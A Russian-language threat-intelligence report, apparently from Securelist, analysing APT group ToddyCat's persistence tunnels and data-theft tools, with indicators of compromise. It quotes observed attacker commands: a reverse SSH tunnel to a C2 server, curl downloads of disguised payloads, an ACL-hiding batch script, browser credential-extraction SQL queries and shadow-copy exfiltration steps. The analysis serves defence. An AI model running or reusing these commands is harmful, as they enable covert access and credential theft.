Мы продолжаем рассказывать про деятельность APT-группы ToddyCat. В предыдущей статье мы рассмотрели некоторые инструменты для сбора и эксфильтрации файлов (LoFiSe и PcExter). В этот раз мы исследовали то, каким образом злоумышленники обеспечивают себе постоянный доступ к скомпрометированной инфраструктуре, какая информация на хостах им интересна и с помощью каких инструментов они ее добывают.
ToddyCat — это APT-группа, которая атакует преимущественно государственные организации в Азиатско-Тихоокеанском регионе, в том числе имеющие отношение к оборонному производству. Одна из главных целей группы —кража конфиденциальной информации с хостов.
За время наблюдения мы отметили, что группировка собирает данные в промышленных масштабах. Чтобы собрать столько информации со множества хостов, атакующим необходимо, насколько это возможно, автоматизировать процесс, а также обеспечить несколько альтернативных способов поддержания постоянного доступа к атакуемым системам и наблюдения за ними. Мы решили изучить, как все это реализовано у ToddyCat. Отметим, что все инструменты, о которых пойдет речь в этой статье, используются на этапе, когда у атакующих уже есть скомпрометированные учетные данные пользователей с высокими правами доступа, позволяющие подключаться к удаленным хостам. Подключение, перенос и запуск всех необходимых инструментов на хосты в большинстве случаев осуществлялись с помощью PsExec или инструментов из пакета Impacket.
Оглавление
Инструменты для туннелирования трафика
Для доступа к зараженной инфраструктуре злоумышленники используют несколько туннелей на основе разных инструментов. Это позволяет им сохранять доступ к системам, даже если один из туннелей был обнаружен и устранен. В результате операторы имеют возможность производить разведку и подключаться к удаленным хостам в любой момент.
Обратный SSH туннель
Один из способов получить доступ к удаленным сетевым сервисам — создать обратный SSH-туннель.
Для запуска такого туннеля атакующие используют несколько файлов:
Клиент SSH из набора утилит OpenSSH для Windows вместе с необходимой для его работы библиотекой.
Файл с закрытым ключом (OPENSSH PRIVATE KEY).
Скрипт a.bat для сокрытия файла закрытого ключа.
Для доставки файлов атакующие используют общедоступные ресурсы на целевых хостах по протоколу SMB (T1021.002: Remote Services: SMB/Windows Admin Shares).
Злоумышленники не пытаются скрыть следы клиента SSH в системе. Они не переименовывают файл и размещают его в папках, имена которых указывают на присутствие SSH-клиента:
C:program filesOpenSSHssh.exe
C:programdatasshdssh.exe
C:programdatasshssh.exe
При этом атакующие копируют файлы с закрытыми ключами, необходимые для подключения к удаленному серверу, по следующим путям:
C:WindowsAppReadinessread.ini
C:WindowsAppReadinessdata.dat
C:WindowsAppReadinesslog.dat
C:WindowsAppReadinessvalue.dat
Обычно файлы приватных ключей для OpenSSH создаются без расширений, но иногда им присваивают расширение .key или похожее. В нашем случае атакующие использовали расширения .ini и .dat — очевидно, чтобы скрыть истинное назначение файлов в системе. Передача через командную строку файлов с этими расширениями выглядит не так подозрительно, как передача файлов без расширения или с расширением .key.
Поместив файлы приватных ключей в папку AppReadiness, атакующие копируют и запускают скрипт a.bat, размещая его во временных директориях или в общей папке пользователей в системе:
c:userspublica.bat
Этот файл содержит следующие команды:
@echo off
::# Set Key File Variable:
Set Key=»C:WindowsAppReadiness»
takeown /f «%Key%»
icacls «%Key%» /remove «BUILTINAdministrators» > «%temp%a.txt»
icacls «%Key%» /remove «Administrators» >> «%temp%a.txt»
icacls «%Key%» /remove «NT AUTHORITYAuthenticated Users» >> «%temp%a.txt»
icacls «%Key%» /remove «CREATOR OWNER» >> «%temp%a.txt»
icacls «%Key%» /remove «BUILTINUsers» >> «%temp%a.txt»
icacls «%Key%» /remove «Users» >> «%temp%a.txt»
icacls «%Key%» >> «%temp%a.txt»
::# Remove Variable:
set «Key=»
В операционной системе Windows папка C:WindowsAppReadiness относится к сервису AppReadiness. В ней хранятся файлы для первоначальной настройки приложений при первом запуске или при первом входе пользователя в систему.
На рисунке выше показаны права доступа к этой папке, установленные по умолчанию:
у администраторов и системы — полные права;
у авторизованных пользователей — права только на чтение.
Это значит, что обычные пользователи могут просматривать содержимое этой папки.
Скрипт a.bat выполняет следующее: устанавливает систему как владельца папки и удаляет всех пользователей из списка DACL (discretionary access control list) оставляя только систему. На рисунке ниже показан список DACL для папки C:WindowsAppReadiness после запуска скрипта:
После изменения прав ни обычные пользователи, ни администраторы не могут получить доступ к этой папке. Попытка ее открыть приводит к ошибке отсутствия прав доступа, как показано на рисунке ниже.
Чтобы запустить туннель, атакующие создают в системе задачу по расписанию, которая выполняет следующую команду:
C:PROGRA~1OpenSSHssh.exe -i C:WindowsAppReadinessvalue.dat -o
StrictHostKeyChecking=accept-new -R 31481:localhost:53
systemtest01@103[.]27.202.85 -p 22222 -fN
Эта команда создает SSH-подключение к порту 22222 удаленного сервера с IP-адресом 103.27.202[.]85 под учетной записью пользователя с именем вида systemtestXX, где ХХ — это число. Это подключение перенаправляет трафик с определенного порта на командном сервере на определенный порт зараженного хоста. Таким образом, приложения, работающие на сервере, могут в любой момент получить доступ к службе на зараженном хосте, слушающей соответствующий порт, отправив запрос на нужный порт на сервере.
На примере выше подключение создается от имени пользователя systemtest01, и перенаправляет сетевые соединения с порта 31481 сервера на порт 53 целевого хоста. Такое соединение, созданное на контроллерах домена, позволяет атакующим получать IP-адреса хостов во внутренней сети через DNS-запросы.
Каждый пользователь отвечает за свой порт на целевом хосте. Например, пользователь с именем systemtest05 отвечает за перенаправление трафика с сервера на порт 445, на котором обычно расположены SMB-службы.
Информация по IP-адресу удаленного сервера представлена в следующей таблице:
IP
Страна + ASN
Название сети
Описание сети
Адрес
Email
103.27.202[.]85
Thailand,
AS58955
BANGMOD-VPS-NETWORK
Bangmod VPS Network
Bangmod-IDC Supermicro Thailand Powered by CSloxinfo
support@bangmod.co.th
В целом процесс создания OpenSSH-туннеля можно представить в виде следующей схемы:
SoftEther VPN
Еще один инструмент, с помощью которого атакующие создают туннели, — серверное приложение (VPN Server) из пакета SoftEther VPN.
SoftEther VPN — это решение с открытым кодом, разработанное в университете Цукубы в рамках академического исследования и позволяющее создавать VPN-соединения по многим популярным протоколам, таким как L2TP/IPsec, OpenVPN, MS-SSTP, L2TPv3, EtherIP и другие.
Чтобы запустить VPN-сервер, атакующие использовали следующие файлы:
vpnserver_x64.exe — файл VPN-сервера, имеющий цифровую подпись.
hamcore.se2 — файл-контейнер, который содержит необходимые компоненты для запуска файла vpnserver_x64.exe.
vpn_server.config — файл конфигурации сервера.
В операционной системе файл VPN-сервера может запускаться как сервис или как приложение с пользовательским графическим интерфейсом. Режимы управляются через параметры командной строки.
Почти во всех наблюдаемых случаях, атакующие переименовывали файл vpnserver_x64.exe, чтобы скрыть его назначение в системе. Известны следующие имена и пути этого файла на зараженных хостах:
c:programdatasshvmtools.exe
c:programdatalenovolenovokln.exe
c:programdataiobitiobitrtttmpmstime.exe
c:perflogsecacheboot.exe
c:userspublicmusicwia.exe
c:userspublicmusictaskllst.exe
c:programdatalenovolenovomain.exe
c:programdataintelgccgccboot.exe
c:programdatalenovolenovodisplaycontrolcenterservicenetscan.exe
c:programdatakasperskylabkaspersky.exe
Интересно, что в некоторых случаях для сокрытия функциональности файла были использованы имена защитных решений.
Файл hamcore.se2 в атакуемых системах не переименовывался, поскольку файл VPN-сервера загружает его по этому имени из папки, в которой находится сам.
Чтобы перенести инструменты на хосты жертвы, атакующие использовали как свою стандартную технику — передачу файлов через общедоступные ресурсы (T1021.002 Remote Services: SMB/Windows Admin Shares), — так и загрузку файлов с зараженных интернет-ресурсов с помощью утилиты curl:
«cmd.exe» /C curl http://www.netportal.or[.]kr/common/css/main.js -o c:windowsdebugwiawia.exe > C:WINDOWSTempvwqkspeq.tmp 2>&1
«cmd.exe» /C curl http://www.netportal.or[.]kr/common/css/ham.js -o c:windowsdebugwiahamcore.se2 > C:WINDOWSTempnohEicOE.tmp 2>&1
Мы наблюдали загрузку файлов, связанных с SoftEther VPN, со следующих веб-ресурсов:
URL
Оригинальное имя файла
hxxp://www.netportal.or[.]kr/common/css/main.js
vpnserver_x64.exe
hxxp://www.netportal.or[.]kr/common/css/ham.js
Hamcore.se2
hxxp://23.106.122[.]5/hamcore.se2
Hamcore.se2
hxxps://etracking.nso.go[.]th/UserFiles/File/111/tasklist.exe
vpnserver_x64.exe
hxxps://etracking.nso.go[.]th/UserFiles/File/111/hamcore.se2
Hamcore.se2
В большинстве случаев злоумышленники доставляли файл конфигурации на устройство вместе с VPN-сервером. Однако в некоторых случаях они не переносили файл конфигурации на хост, а создавали его с помощью запуска файла vpnserver_x64.exe с ключами /install или /usermode_hidetray, а затем редактировали.
«cmd.exe» /C c:userspublicmusictaskllst.exe /install > C:WindowsTempfnOcaiqm.tmp 2>&1
«cmd.exe» /C c:userspublicmusictaskllst.exe /usermode_hidetray > C:WindowsTempTSwkLRsR.tmp
В файл конфигурации атакующие добавляли данные для удаленного подключения клиента к серверу и его аутентификационные данные. Ниже представлены соответствующие поля и их значения из конфигурационного файла.
AccountName
Hostname
ha.bbmouseme[.]com
118[.]193.40.42
В завершение атакующие создавали задачу по расписанию для запуска файла vpnserver_x64.exe с ключом /service.
Ngrok agent и Krong
Еще один способ получить доступ к удаленной инфраструктуре, который использовали злоумышленники, — туннель легального облачного провайдера. Приложение, запущенное на хосте пользователя и имеющее доступ к локальной инфраструктуре, может устанавливать соединение с облачным сервером через легальный агент, перенаправлять трафик и выполнять определенные команды.
В качестве такого агента атакующие выбрали Ngrok agent — легкую программу, которая перенаправляет трафик из конечных точек в облачную инфраструктуру и обратно. Они устанавливают этот агент на зараженный хост и с его помощью перенаправляют трафик из облачной инфраструктуры на определенный порт на хосте.
Агент запускается следующей командой:
«cmd» /c «cd C:windowstemp & Intel.exe tcp —region=ap —remote-addr=1.tcp.ap.ngrok.io:21146 54112 —
authtoken 2GskqGD<token>txB7WyV»
Порт, на который ngrok перенаправляет трафик из облачной инфраструктуры, прослушивает другой инструмент — Krong. Он представляет собой файл DLL, который загружается при помощи техники DLL Side-Loading (T1574.002 Hijack Execution Flow: DLL Side-Loading) и легитимного приложения с цифровой подписью AVG TuneUp. Этот инструмент через командную строку получает адрес и порт, к которому необходимо ожидать подключение:
«cmd» /c «cd C:windowstemp & SystemInformation.exe 0.0.0.0 54112»
Krong представляет собой прокси-сервер, который шифрует передаваемые через него данные с помощью функции XOR:
Это позволяет инструменту скрывать содержимое трафика, чтобы уйти от обнаружения.
FRP-клиент
После создания туннелей с помощью OpenSSH или SoftEther VPN атакующие дополнительно устанавливают на целевых хостах клиент FRP. FRP — это быстрый обратный прокси, написанный на языке Go. Он позволяет открыть доступ из Интернета к локальному серверу, расположенному за NAT или фаерволом. FRP имеет веб-интерфейс для изменения настроек и просмотра статистики подключений.
Для запуска клиента атакующие используют два файла:
frpc.exe — исполняемый файл клиента FRP
frpc.toml — файл конфигурации клиента
Атакующие дают файлам произвольные имена. Также они меняют расширение файла конфигурации со стандартного .toml на .ini, как и в случае с файлами закрытых ключей OpenSSH.
После переноса файлов на целевой хост атакующие создают сервис с произвольным именем и со следующей командной строкой:
c:windowsdebugtck.exe -c c:windowsdebugtc.ini
Эта команда запускает FRP-клиент с конфигурационным файлом tc.ini. После этого все коммуникации с C2 проходят через этот инструмент.
Инструменты для сбора данных
Cuthead
В новой кампании злоумышленники использовали для поиска документов инструмент cuthead. Это название мы взяли из поля file description исполняемого файла. Этот инструмент представляет собой скомпилированный на .NET исполняемый файл, который предназначен для поиска и упаковки файлов в архив. Поиск может осуществляться по заданным расширениям или ключевым словам, встречающимся в имени файла.
Исполняемый файл принимает следующие аргументы:
fkw.exe <date> <extensions> [keywords]
Date — дата последнего изменения файла в формате yyyyMMdd. Инструмент будет искать файлы, измененные не ранее этой даты.
Extensions — строка без пробелов, в которой указаны расширения файлов, разделенные точкой с запятой.
Keywords — строка без пробелов, в которой указаны ключевые слова для поиска в именах файлов. Они тоже разделяются точкой с запятой.
Вот пример команды для поиска файлов при помощи cuthead:
«c:intelfkw.exe» 20230626 pdf;doc;docx;xls;xlsx
В этом примере атакующие искали на хосте все файлы офисных приложений MS Excel, MS Word, а также PDF-файлы, которые изменялись после 26 июня 2023 года.
После запуска инструмент обрабатывает параметры командной строки и начинает рекурсивный поиск файлов в файловой системе на всех доступных дисках (T1005 Data from Local System). При этом из поиска исключаются папки, которые содержат следующие подстроки:
$
Windows
Program Files
Programdata
Application Data
Program Files (x86)
Documents and Settings
Также из поиска исключаются:
файлы, объем которых превышает 50 Мбайт (52 428 800 байт);
файлы, чьи расширения не соответствуют указанным в команде;
файлы, в имени которых не содержится ни одно из слов, если таковые заданы.
Из найденных файлов формируется список, который передается функции создания ZIP-архива (в разных версиях инструмента она называется по-разному, но выполняет одну и ту же задачу), с паролем Unsafe404. Для упаковки файлов используется ICSharpCode SharpZipLib версии 0.85.4.369 (T1560.002 Archive Collected Data: Archive via Library).
Мы нашли несколько модификаций cuthead, в которые были зашиты все необходимые параметры, такие как список расширений и время последнего изменения файлов (обычно злоумышленников интересовали файлы за последние семь дней). Скорее всего, это было сделано для автоматизации поиска.
WAExp для кражи данных WhatsApp
WAExp написан на .NET и предназначен для поиска и сбора файлов локальных хранилищ веб-браузеров, в которых содержатся данные веб-версии приложения WhatsApp (web.whatsapp.com).
Если пользователь использует веб-версию WhatsApp, то в локальном хранилище браузера могут содержаться данные его профиля, данные о чатах, телефонные номера других пользователей этих чатов, а также данные о текущей сессии. Злоумышленники могут получить доступ к этой информации, скопировав файлы локального хранилища браузера.
WAExp принимает следующие аргументы:
app.exe [check|copy|start] [remote]
Check — функция, которая проверяет наличие данных на хосте.
Copy — функция, которая копирует найденные данные во временную папку.
Start — функция, которая упаковывает собранные данные в архив.
Remote — имя удаленного хоста.
При запуске с параметром check инструмент начинает поиск пользовательских папок. Если параметр remote указан в командной строке, то он ищет пользовательские папки по пути «\[remote]C$users«. Если параметр не задан, то через переменную окружения SystemDrive инструмент получает имя системного диска, в корне которого находится папка Users, где WAExp и будет искать данные. Далее инструмент перебирает все папки в этой директории, за исключением следующих:
All Users
Default User
Default
Public
В найденных пользовательских папках WAExp начинает поиск путей по которым расположены хранилища браузеров Chrome и Edge, а также хранилища различных продуктов Mozilla.
Для браузера Chrome инструмент открывает папку <User>AppdatalocalGoogle, а для браузера Edge — папку <User>AppdatalocalMicrosoftEdge. В них он по всем внутренним и вложенным папкам ищет директорию со следующим названием:
https_web.whatsapp.com_0.indexeddb.leveldb
Для продуктов Mozilla WAExp открывает папку <User>Appdataroaming и в дочерних папках ищет директорию с именем:
https+++web.whatsapp.com
В папке roaming могут находиться несколько директорий продуктов Mozilla, которые могут содержать данные хранилища для сайта web.whatsapp.com. Помимо браузера Firefox, с веб-версией WhatsApp взаимодействует, например, приложение Thunderbird, которое использует плагин для мессенджера.
На рисунке выше можно увидеть результат работы инструмента, запущенного с параметром check. Он показывает, что на хосте обнаружены файлы хранилищ для браузеров Chrome, Edge, Firefox и почтового клиента Thunderbird.
Если инструмент запускается с параметром copy, то все найденные файлы хранилищ данных для сайта web.whatsapp.com будут скопированы во временную папку для хранения:
C:ProgramdataMicrosoftDefault
Последний параметр, который использует инструмент, — это start. Если запустить WAExp с этим параметром, происходит повторный сбор файлов во временную папку, как это описано в функции copy. После этого инструмент упаковывает все данные из этой папки в архив при помощи модуля System.IO.Compression.ZipFile (T1560.002 Archive Collected Data: Archive via Library). Файл архива сохраняется без расширения с именем, состоящим из строки Default, даты и времени создания, по следующему пути:
C:ProgramdataMicrosoftDefault-yyyyMMdd-hhmmss
После этого временная папка и папки веб-браузеров и других клиентов, в которых хранятся данные сайта web.whatsapp.com, удаляются.
На рисунке выше приведен пример данных, которые инструмент выводит при запуске с параметрами check, copy и start. В данном случае WAExp собирает информацию из папок браузера Chrome. В результате формируется архив, файл и содержимое которого изображены на рисунке ниже.
TomBerBil для кражи паролей из браузеров
Злоумышленников интересует не только сбор данных с хостов, но и получение доступа ко всем веб-сервисам, к которым имеют доступ пользователи. Имея высокие права в системе, они могут попытаться расшифровать данные браузеров, где содержатся файлы cookie и пароли, которые пользователь мог сохранить для автозаполнения форм при аутентификации в веб-сервисах (T1555.003 Credentials from Password Stores: Credentials from Web Browsers).
В открытом доступе есть немало инструментов, которые позволяют расшифровать эти хранилища, например mimikatz. Проблема для злоумышленников заключается в том, что такие инструменты хорошо известны защитным решениям и их появление в инфраструктуре сразу привлекает много внимания.
Чтобы избежать обнаружения, атакующие создали целую серию инструментов на основе разных технологий, предназначенных для одной цели — извлечения cookie-файлов и сохраненных паролей из браузеров Chrome и Edge.
Оба браузера используют для шифрования данных функцию CryptProtectData из DPAPI (Data Protection Application Programming Interface). Эта функция защищает данные с помощью пароля текущего пользователя в системе и специального мастер-ключа шифрования.
Все модификации инструмента TomBerBil действуют по одному принципу. После запуска начинается перечисление всех процессов, запущенных в системе. Инструмент ищет среди них все экземпляры процесса explorer.exe. Затем инструмент определяет пользователя, от имени которого запущены найденные процессы.
На рисунке представлен вариант реализации функции, определяющей пользователя по ID процесса (PID). В этой функции выполняется WMI-запрос к классу Win32_Process для получения объекта со свойством processID, равным переданному в функцию PID. Для полученного объекта вызывается метод GetOwner, который возвращает имя пользователя и имя домена, под которым был запущен процесс. После этого происходит поиск ключа шифрования, который хранится в поле encrypted_key в следующих файлах JSON браузеров:
%LOCALAPPDATA%GoogleChromeUser DataLocal State
%LOCALAPPDATA%MicrosoftEdgeUser DataLocal State
Затем TomBerBil копирует токены найденных процессов, заимствует права пользователей, в контексте которых эти процессы выполняются, и пытается расшифровать мастер-ключ с помощью функции CryptUnprotectData. Для этого инструмент вызывает функцию Unprotect из пакета System.Security.Cryptography.ProtectedData. Эта функция, в свою очередь, вызывает функцию CryptUnprotectData из Windows DPAPI.
На рисунке показан пример вызова функции Unprotect, которой передается массив байтов, полученных из поля encrypted_key. Третьим параметром передается значение DataProtectionScope.CurrentUser. Это означает, что при расшифровке данных будет применен пользовательский контекст вызывающего процесса. Именно для этой цели инструмент заимствует права найденных пользователей.
Если расшифровка проходит успешно, то TomBerBil начинает искать файлы Login Data и NetworkCookies в следующих папках:
%LOCALAPPDATA%GoogleChromeUser DataDefault
%LOCALAPPDATA%GoogleChromeUser DataProfile *
Найденные файлы инструмент копирует во временную папку, после чего открывает их как файлы базы данных SQLite и выполняет следующие запросы:
SELECT origin_url, username_value, password_value FROM logins
SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as expires_utc, cast(last_access_utc as text) as last_access_utc, encrypted_value FROM cookies
После этого TomBerBil расшифровывает обнаруженные данные с помощью мастер-ключа и сохраняет их в отдельные файлы.
Большинство модификаций инструмента ведут журнал выполняемых действий. Ниже приведен пример журнала, сгенерированного TomBerBil:
[+] Begin 7/28/2023 1:12:37 PM[+] Current user SYSTEM
[*] [5516] [explorer] [UserName] [+] Impersonate user UserName
[+] Current user UserName
[+] Local State File: C:UsersUserNameAppDataLocalGoogleChromeUser DataLocal State
[+] MasterKeyBytes: 6j<…>k=
[>] Profile: C:UsersUserNameAppDataLocalGoogleChromeUser DataDefault
[+] Copy C:UsersUserNameAppDataLocalGoogleChromeUser DataDefaultLogin Data to C:WindowsTEMPtmpF319.tmp
[+] Delete File C:WindowsTEMPtmpF319.tmp
[+] Copy C:UsersUserNameAppDataLocalGoogleChromeUser DataDefaultNetworkCookies to C:WindowsTEMPtmpFA1F.tmp
[+] Delete File C:WindowsTEMPtmpFA1F.tmp
[+] Local State File: C:UsersUserNameAppDataLocalMicrosoftEdgeUser DataLocal State
[+] MasterKeyBytes: fv<…>GM=
[>] Profile: C:UsersUserNameAppDataLocalMicrosoftEdgeUser DataDefault
[+] Copy C:UsersUserNameAppDataLocalMicrosoftEdgeUser DataDefaultLogin Data to C:WindowsTEMPtmpFCB0.tmp
[+] Delete File C:WindowsTEMPtmpFCB0.tmp
[+] Copy C:UsersUserNameAppDataLocalMicrosoftEdgeUser DataDefaultNetworkCookies to C:WindowsTEMPtmpFD5D.tmp
[+] Delete File C:WindowsTEMPtmpFD5D.tmp
[+] Recvtoself
[+] Current user SYSTEM
[+] End 7/28/2023 1:12:52 PM
Любопытно, что одна из модификаций мимикрировала под Kaspersky Anti-Virus. Файл этой модификации с именем avpui.exe (T1036.005 Masquerading: Match Legitimate Name or Location) и соответствующими метаданными можно увидеть на рисунке ниже.
Для работы некоторых версий TomBerBil использовались определенные параметры командной строки, как, например, на рисунке ниже.
Помимо использования самого инструмента, мы в некоторых случаях также наблюдали создание теневой копии диска и архивацию файлов из папки User Data с помощью 7zip для последующей эксфильтрации.
wmic shadowcopy call create Volume=’C:’
«cmd» /c c:Intel7z6.exe a c:Intel1.7z -mx0 -r \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1Users<username>AppDataLocalGoogleChrome»User Data»
Заключение
Мы рассмотрели несколько инструментов APT-группы ToddyCat, которые позволяют атакующим сохранять доступ к целевым инфраструктурам и в автоматическом режиме искать и собирать интересующие их данные. Злоумышленники активно используют различные методы обхода средств защиты, пытаясь замаскировать свое присутствие в системе.
Для защиты вашей инфраструктуры мы рекомендуем добавить в блок-лист на фаерволе ресурсы и IP-адреса облачных сервисов, которые предоставляют услуги туннелирования трафика. Внутри инфраструктуры мы рекомендуем ограничить список разрешенных инструментов для удаленного доступа к хостам. Те же инструменты, которые не используются, следует либо запретить вообще, либо отслеживать их появление внутри инфраструктуры — это может служить хорошим индикатором наличия подозрительной активности. Кроме этого, необходимо требовать от пользователей отказаться от хранения паролей в браузерах. Оно облегчает злоумышленникам доступ к конфиденциальной информации, а если пользователи защищают одними и теми же паролями аккаунты в разных сервисах, то злоумышленники смогут получить доступ к неограниченному количеству данных.
Индикаторы компрометации
Вредоносные файлы
1D2B32910B500368EF0933CDC43FDE0B
WAExp
5C2870F18E64A14A64ABF9A56F5B6E6B
WAExp
AFEA0827779025C92CAB86F685D6429A
cuthead
C7D8266C63F8AECA8D5F5BDCD433E72A
cuthead
750EF49AFB88DDD52F6B0C500BE9B717
TomBerBil
853A75364D76E9726474335BCD17E225
TomBerBil
BA3EF3D0947031FB9FFBC2401BA82D79
Krong
Легитимные инструменты
4A79A8B1F6978862ECFA71B55066AADD
FRP-клиент
1F514121162865A9E664C919E71A6F62
vpnserver_x64.exe
6F32D6CFAAD3A956AACEA4C5A5C4FBFE
vpnserver_x64.exe
9DC7237AC63D552270C5CA27960168C3
ngrok.exe
34985FAE5FA8E9EBAA872DE8D0105005
ngrok.exe
Адреса C2
103.27.202[.]85
— сервер SSH
118.193.40[.]42
— Server from SoftEther VPN
Ha[.]bbmouseme[.]com
— Server from SoftEther VPN
URL
hxxp://www.netportal.or[.]kr/common/css/main.js
vpnserver_x64.exe
hxxp://www.netportal.or[.]kr/common/css/ham.js
Hamcore.se2
hxxp://23.106.122[.]5/hamcore.se2
Hamcore.se2
hxxps://etracking.nso.go[.]th/UserFiles/File/111/tasklist.exe
vpnserver_x64.exe
hxxps://etracking.nso.go[.]th/UserFiles/File/111/hamcore.se2
Hamcore.se2
Securelist